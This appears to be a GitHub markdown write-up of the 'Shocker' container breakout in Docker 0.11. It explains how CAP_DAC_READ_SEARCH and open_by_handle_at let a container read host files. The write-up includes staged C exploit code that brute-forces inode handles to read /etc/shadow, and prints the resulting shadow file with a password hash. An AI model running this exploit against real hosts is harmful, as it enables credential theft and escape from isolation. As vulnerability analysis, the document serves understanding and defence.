Skip to content

Latest commit

 

History

History
181 lines (129 loc) · 5.98 KB

shocker-en.md

File metadata and controls

181 lines (129 loc) · 5.98 KB

##Docker 0.11 - VMM-Container Breakout

##category: container breakout
local security policy bypass

##core problem: The core problem is misconfigured permissions (CAP_DAC_READ_SEARCH) that are granted to the container process, and illustrates how container-level virtualization can be tricky to configure. To be fair, this isn’t necessarily a Docker specific problem (it could be any misconfigured container), and it should also be pointed out that this was fixed in Docker 1.0.0.

##analysis: Before the 0.11, docker use the blocklist to config container's capabiluties.

The function open_by_handle_at()函 has CAP_DAC_READ_SEARCH capabilities lead to this case.

More info about CAP_DAC_READ_SEARCH, see capabilities

CAP_DAC_READ_SEARCH:

* Bypass file read permission checks and directory read and
  execute permission checks;
* Invoke open_by_handle_at(2).

If open_by_handle_at has CAP_DAC_READ_SEARCH , he can read any files and directory in the filesystem

the define open_by_handle_at

int open_by_handle_at(int mount_fd, struct file_handle *handle,int flags);
  • mount_fd file descriptor for any object (file,directory, etc.) in the mounted filesystem
  • file_handle the file_handle struct
  • flags The flags argument is as for open(2).

see file_handle:

 struct file_handle {
      unsigned int  handle_bytes;   /* Size of f_handle [in, out] */
      int           handle_type;    /* Handle type [out] */
       unsigned char f_handle[0];    /* File identifier (sized by
                                                caller) [out] */
    };

f_handle[0] is eight bit inode in the file_handle

In most filesystem, the root inode(e.g: /) almost always is 2. and uses that as a base point to traverse the filesystem:

##exp: we want to cat /etc/shadow:

1: fill the root diretcory info

struct my_file_handle root_h = {
        .handle_bytes = 8,
        .handle_type = 1,
        .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
        //set the inode 2
    };

2: open a file on the host, get the flle description

if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
    die("[-] open");

3: use the file description, root file info, exec "cat /ect/shadow"

if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
    die("[-] Cannot find valid handle!");

find the dir:

    if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
        die("[-] open_by_handle_at");
 
    if ((dir = fdopendir(fd)) == NULL)
        die("[-] fdopendir");
    for (;;) {
       
        de = readdir(dir);
        if (!de)
            break;
        fprintf(stderr, "[*] Found %s\n", de->d_name);
        //compare the dirname 
        if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
            fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
            ino = de->d_ino;
            break;
        }
    }

find out the /etc ,get the /etc'inode number

try the all inode numbers,find the file:

    if (de) {
       
        for (uint32_t i = 0; i < 0xffffffff; ++i) {
            outh.handle_bytes = 8;
            outh.handle_type = 1;
            memcpy(outh.f_handle, &ino, sizeof(ino));//get the '/etc''s inode
            memcpy(outh.f_handle + 4, &i, sizeof(i)); //only try the last 4 bit 
            if ((i % (1<<20)) == 0)
                fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
            if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
                closedir(dir);
                close(fd);
                dump_handle(&outh);
                return find_handle(bfd, path, &outh, oh);
            }
        }
    }

4: read the file data

    if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
        die("[-] open_by_handle");
    memset(buf, 0, sizeof(buf));
    if (read(fd2, buf, sizeof(buf) - 1) < 0)
        die("[-] read");

result:

root:!:15597:0:99999:7:::
daemon:*:15597:0:99999:7:::
bin:*:15597:0:99999:7:::
sys:*:15597:0:99999:7:::
sync:*:15597:0:99999:7:::
games:*:15597:0:99999:7:::
man:*:15597:0:99999:7:::
lp:*:15597:0:99999:7:::
mail:*:15597:0:99999:7:::
news:*:15597:0:99999:7:::
uucp:*:15597:0:99999:7:::
proxy:*:15597:0:99999:7:::
www-data:*:15597:0:99999:7:::
backup:*:15597:0:99999:7:::
list:*:15597:0:99999:7:::
irc:*:15597:0:99999:7:::
gnats:*:15597:0:99999:7:::
nobody:*:15597:0:99999:7:::
libuuid:!:15597:0:99999:7:::
syslog:*:15597:0:99999:7:::
messagebus:*:15597:0:99999:7:::
ntp:*:15597:0:99999:7:::
sshd:*:15597:0:99999:7:::
vagrant:$6$aqzOtgCM$OxgoMP4JoqMJ1U1F3MZPo2iBefDRnRCXSfgIM36E5cfMNcE7GcNtH1P/tTC2QY3sX3BxxJ7r/9ciScIVTa55l0:15597:0:99999:7:::
vboxadd:!:15597::::::
statd:*:15597:0:99999:7:::

##poc:
test poc

##version: docker version <= 0.11

##fix bug docker official discuss use the whitelist to Genular capabilities, see Granular capabilities / priviledged whitelist

remove the capabilities, see dockerinit: drop capabilities

##also see:

##links: